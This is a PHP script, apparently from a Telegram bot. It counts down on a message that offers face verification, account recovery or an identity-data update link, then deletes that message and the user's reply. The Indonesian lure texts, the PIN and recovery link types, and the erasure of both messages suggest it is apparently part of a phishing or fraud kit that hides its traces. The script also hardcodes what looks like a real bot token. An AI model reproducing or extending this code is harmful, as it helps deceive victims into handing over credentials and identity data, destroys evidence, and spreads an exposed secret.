DELETE * Preserves inline keyboard button during countdown. * * CLI: php auto_delete.php */ ignore_user_abort(true); set_time_limit(350); // Accept args from CLI or GET if (php_sapi_name() === 'cli') { $chat_id = isset($argv[1]) ? $argv[1] : ''; $msg_id = isset($argv[2]) ? $argv[2] : ''; $token = isset($argv[3]) ? $argv[3] : ''; $type = isset($argv[4]) ? $argv[4] : ''; $orig_text = isset($argv[5]) ? $argv[5] : ''; $user_msg_id = isset($argv[6]) ? $argv[6] : ''; } else { $chat_id = isset($_GET['chat_id']) ? $_GET['chat_id'] : ''; $msg_id = isset($_GET['msg_id']) ? $_GET['msg_id'] : ''; $token = isset($_GET['token']) ? $_GET['token'] : ''; $type = isset($_GET['type']) ? $_GET['type'] : ''; $orig_text = isset($_GET['text']) ? $_GET['text'] : ''; $user_msg_id = isset($_GET['user_msg_id']) ? $_GET['user_msg_id'] : ''; ob_start(); echo "OK"; $size = ob_get_length(); header("Content-Length: $size"); header('Connection: close'); ob_end_flush(); if (function_exists('ob_flush')) ob_flush(); flush(); if (session_id()) session_write_close(); } if (empty($chat_id) || empty($msg_id)) exit; $botToken = "8184881871:AAFOz6uzIgxE7rk3WttcKKrr0DtcNGIt-Ho"; $api = "https://api.telegram.org/bot" . $botToken; // Default original texts per type $defaultTexts = [ 'pin' => "Silakan klik tombol di bawah ini untuk memulai verifikasi wajah.", 'forgot' => "Akses panel pemulihan telah disiapkan.", 'edit' => "Sistem Pembaruan Data Identitas telah disediakan untuk Anda." ]; if (empty($orig_text)) { $orig_text = isset($defaultTexts[$type]) ? $defaultTexts[$type] : "Tautan telah disiapkan."; } $manifestPath = __DIR__ . "/manifest_{$type}_tokens.json"; // Read reply_markup from manifest to preserve the inline keyboard button $replyMarkup = ''; if (file_exists($manifestPath)) { $tokens = json_decode(file_get_contents($manifestPath), true) ?: []; if (isset($tokens[$token]['reply_markup'])) { $replyMarkup = $tokens[$token]['reply_markup']; } } $expiresAt = time() + 300; if (file_exists($manifestPath)) { $tokens = json_decode(file_get_contents($manifestPath), true) ?: []; if (isset($tokens[$token]['expires_at'])) { $expiresAt = $tokens[$token]['expires_at']; } } $lastText = ''; $loopCount = 0; while (true) { $now = time(); $remaining = $expiresAt - $now; if ($remaining <= 0) break; // Check if token still exists every 5 seconds if ($loopCount % 5 === 0) { if (!file_exists($manifestPath)) break; $tokens = json_decode(file_get_contents($manifestPath), true) ?: []; if (!isset($tokens[$token])) break; } $mins = intval($remaining / 60); $secs = $remaining % 60; $timeStr = sprintf("%d:%02d", $mins, $secs); $newText = $orig_text . "\n⏳ Sisa waktu: " . $timeStr . ""; if ($newText !== $lastText) { $editData = [ 'chat_id' => $chat_id, 'message_id' => $msg_id, 'text' => $newText, 'parse_mode' => 'HTML' ]; // Include reply_markup to preserve the inline keyboard button if (!empty($replyMarkup)) { $editData['reply_markup'] = $replyMarkup; } @file_get_contents($api . "/editMessageText?" . http_build_query($editData)); $lastText = $newText; } $loopCount++; sleep(1); } // Final: DELETE the entire message (text + button + everything) if (file_exists($manifestPath)) { $tokens = json_decode(file_get_contents($manifestPath), true) ?: []; if (isset($tokens[$token])) { @file_get_contents($api . "/deleteMessage?chat_id=$chat_id&message_id=$msg_id"); if (!empty($user_msg_id)) { @file_get_contents($api . "/deleteMessage?chat_id=$chat_id&message_id=$user_msg_id"); } unset($tokens[$token]); file_put_contents($manifestPath, json_encode($tokens, JSON_PRETTY_PRINT)); } }